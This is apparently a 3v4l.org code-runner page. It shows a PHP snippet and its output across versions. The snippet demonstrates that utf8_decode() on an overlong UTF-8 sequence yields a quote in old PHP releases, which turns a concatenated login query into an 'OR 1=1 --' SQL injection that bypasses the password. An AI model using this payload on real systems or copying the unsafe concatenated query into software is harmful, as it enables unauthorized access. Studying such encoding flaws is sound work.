3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $test = "\xf0\xc0\xc0\xa7 OR 1=1 -- \xf0\xc0\xc0\xa7"; $q = "SELECT * FROM new_members WHERE member_name='Admin' AND passwd='" . utf8_decode($test) . "' LIMIT 1"; echo $q; ?>
based on aW662
Output for 5.2.15 - 5.2.17, 5.3.4 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
SELECT * FROM new_members WHERE member_name='Admin' AND passwd='? OR 1=1 -- ?' LIMIT 1
Output for 4.3.0 - 5.2.14, 5.3.0 - 5.3.3
SELECT * FROM new_members WHERE member_name='Admin' AND passwd='' OR 1=1 -- '' LIMIT 1